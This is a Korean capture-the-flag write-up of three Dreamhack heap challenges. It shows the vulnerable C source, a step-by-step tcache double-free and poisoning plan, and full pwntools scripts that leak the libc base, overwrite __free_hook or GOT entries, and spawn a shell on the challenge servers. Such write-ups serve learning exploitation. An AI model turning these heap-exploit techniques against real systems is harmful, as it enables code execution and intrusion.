[dreamhack] tcache poison
tcache poison
정보수집
canary나 PIE가 적용되어 있지 않다.
PIE가 적용되어 있지 않기 때문에 오프셋을 구하면 끝난다.
소스코드를 확인해보면 그냥 원하는대로 메모리를 할당하고, 읽고, 쓰고, 해제하는 기능이 있다. 이것만으로 쉘을 실행시켜야한다.
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
공격
nx가 설정되어 있기 때문에 힙에 쉘코드를 올리는 것도 어렵고,
stack overflow가 없고 full RELRO이기 때문에 리턴값을 변경하거나 got를 변조하는것은 어렵다.
결국 변조해야되는 대상은 hook을 변조해야 하고, one_gadget을 사용해서 쉘을 획득하는 것이 좋아보인다.
그러려면 먼저 libc의 베이스 주소를 먼저 알아와야 한다.
- libc 주소 알아오기
- printf를 한번 사용한 후 got에서 가져오고 오프셋으로 계산하면 될것이다. (이미 처음 입력받는 그 시점에도 got는 변경되어있다)
- tcache의 free list에 printf의 got를 강제 삽입
- malloc으로 0x20byte 할당
- free 해서 tcache로 보내기
- edit 해서 free된 청크의 key 변경
- free 해서 더블프리 상태 만들기
- 재할당해서 변조 가능한 상태로 변경
- LIFO 구조인데, 마지막에 들어온 청크가 맨앞에 연결되기 때문에 next에 printf의 got를 넣고 재할당하면 기존에 double free된 청크가 할당돼서 한번 더 재할당해야한다.
- print 해서 값을 읽어온다.
- 이 문제에서는 할당과 쓰기를 동시에 하기 때문에 got값을 사용할 수 없다.
- got 대신 stdout을 사용하면 된다. 라이브러리마다 다르지만, stdout도 _IO_2_1_stdout_ 를 가리키는 포인터이다.
- 라이브러리상의 stdout 들의 오프셋
8c8791a5-8b09-4048-85ec-b769406c004e - 런타임 중 확인해보면 stdout에
libc::stdout이 아닌libc::_IO_2_1_stdout_이 저장되어 있는것을 알 수 있다.
162cd7fb-bedf-41d2-8ce2-65f714661ff4
- 라이브러리상의 stdout 들의 오프셋
- 가져온 베이스로 변조할 타겟주소, 원가젯 주소를 알아온다
- 다른 사이즈로 다시 double free를 일으켜서 새로운 tcache를 poisoning한다.
- 목표는 변조할 타겟 주소에 원가젯 주소를 쓰는것이며, 훅을 사용한다.
- free hook을 이용해서 원가젯 코드를 트리거한다.
공격코드
from pwn import *
p = process('./tcache_poison', env={"LD_PRELOAD" : "./libc-2.27.so"})
p = remote('host3.dreamhack.games', 18986)
e = ELF('./tcache_poison')
le = ELF('./libc-2.27.so')
def alloc(size, data):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendafter(b':', data)
def free():
p.sendlineafter(b'Edit\n', b'2')
def print_chunk():
p.sendlineafter(b'Edit\n', b'3')
def edit(data):
p.sendlineafter(b'Edit\n', b'4')
p.sendafter(b':', data)
stdout_io_off = le.symbols['_IO_2_1_stdout_']
stdout_addr = e.symbols['stdout']
# 1. double free
alloc(0x30, b'data')
free()
edit(b'AAAABBBB\x00')
free()
# 2. 재할당 하면서 stdout의 주소를 데이터 영역에 쓰면 tcache에 남아있는 chunk에 stdout이 next에 쓰여진다.
alloc(0x30, p64(stdout_addr))
edit(p64(stdout_addr))
print_chunk()
print(p.recvuntil('Content: '))
tmp_saddr = u64(p.recv(6).ljust(8,b'\x00'))
print('chunk_stdout', hex(tmp_saddr))
# 늦게들어온 청크가 맨 앞에 붙는 구조이며 LIFO이기 때문에 맨 앞에서부터 재할당 된다.
alloc(0x30, b'DUMMYCNK')
# 이때 재할당을 한번 더 하면 stdout을 chunk로 하는 값을 가져오게 된다. 그 안에는 _IO_2_1_stdout_이 있다.
alloc(0x30, p64(stdout_io_off)[0:1])
print_chunk()
print(p.recvuntil('Content: '))
tmp_saddr = u64(p.recv(6).ljust(8, b'\x00'))
print('chunk_stdout', hex(tmp_saddr))
# 3. 공격에 사용되는 주소 계산
lib_base = tmp_saddr - stdout_io_off
freehook_addr = lib_base + le.symbols['__free_hook']
onegadget_addr = lib_base + 0x4f432
# 4. 새로운 tcache에 double free
alloc(0x40, b'data')
free()
edit(b'AAAABBBB\x00')
free()
# 5. freehook에 onegadget 주소 쓰기.
# 5-1. freehook을 컨트롤 할 수 있도록 청크의 next 변조
alloc(0x40, p64(freehook_addr))
# 5-2. freehook 주소 청크화. 더미 이후 두번째 할당된 chunk가 freehook의 주소를 가리킨다.
alloc(0x40, b'DUMMYCNK')
alloc(0x40, b'freehook')
# 5-3. freehook에 onegadget의 주소를 쓰고 훅 실행
edit(p64(onegadget_addr))
free()
p.interactive()
tcache_dup
이 문제는 Partial RELRO, No PIE이기 때문에 got를 사용할 수 있어서 더 쉽다.
하지만 got를 이 공격에 사용할 때 청크가 다른 값들을 수정할 수 있기 때문에 주의해야한다.
from pwn import *
p = process('./tcache_dup', env={'LD_PRELOAD': './libc-2.27.so'})
p = remote('host3.dreamhack.games', 20080)
e = ELF('./tcache_dup')
el = ELF('./libc-2.27.so')
def input_n(num):
print("=== input : select", num, "===")
p.recvuntil(b'\n> ')
p.sendline(str(num).encode())
def create(size, data):
input_n(1)
print("=== create: size", size, "data", data, "===")
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Data: ')
p.sendline(data)
def delete(idx):
input_n(2)
print("=== delete: idx", idx, "===")
p.recvuntil(b'idx: ')
p.sendline(str(idx).encode())
get_shell_addr = e.symbols['get_shell']
printf_got = e.got['printf']
printf_off = el.symbols['printf']
# 공격을 어떻게 해야할까?
# 원하는 위치에 원하는 값을 넣어야한다.
# 타겟 주소: NO PIE, Partial RELRO 이므로, printf의 got를 사용
# 1. tcache_dup 를 발생시켜서 원하는 주소를 할당
# 2.28 부터 tcache의 double free가 방지되기 시작했기 때문에 지금은 그냥 double free가 됨
create(0x30, b'data')
delete(0)
delete(0)
create(0x30, p64(printf_got))
create(0x30, b'dummy')
# 2. printf_got에 get_shell 주소 넣음
create(0x30, p64(get_shell_addr))
# 3. 공격 성공
p.interactive()
tcache_dup2
이 문제는 이상하게 dup를 만들지 않으면 공격에 실패한다. 이유를 파악하면 좋을듯
from pwn import *
p = remote('host3.dreamhack.games',23990)
e = ELF('./tcache_dup2')
el = ELF('./libc-2.30.so')
def input_n(num):
print("=== input : select", num, "===")
p.recvuntil(b'\n> ')
p.sendline(str(num).encode())
def create(size, data):
input_n(1)
print("=== create: size", size, "data", data, "===")
print(p.recvuntil(b'Size: '))
p.sendline(str(size).encode())
p.recvuntil(b'Data: ')
p.send(data)
print("=== END ===")
def modify(idx, size, data):
input_n(2)
print("=== modify: idx", idx, "size", size, "data", data, "===")
print(p.recvuntil(b'idx: '))
p.sendline(str(idx).encode())
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Data: ')
p.send(data)
print("=== END ===")
def delete(idx):
input_n(3)
print("=== delete: idx", idx, "===")
print(p.recvuntil(b'idx: '))
p.sendline(str(idx).encode())
print("=== END ===")
get_shell_addr = e.symbols['get_shell']
printf_got = e.got['puts']
create(0x10, b'D'*0x8)
delete(0)
modify(0, 0x10, b'AAAABBBB' + b'\x00')
delete(0)
# 중복된 청크의 next에 씀. 첫번째 청크에 썼기 때문에 dup된 청크는 날아간다.
modify(0, 0x10, p64(printf_got))
# dummy 할당
create(0x10, b'D'*0x8)
# printf_got 를 가져오면서 get_shell_addr을 씀
create(0x10, p64(get_shell_addr))
p.interactive()
Comments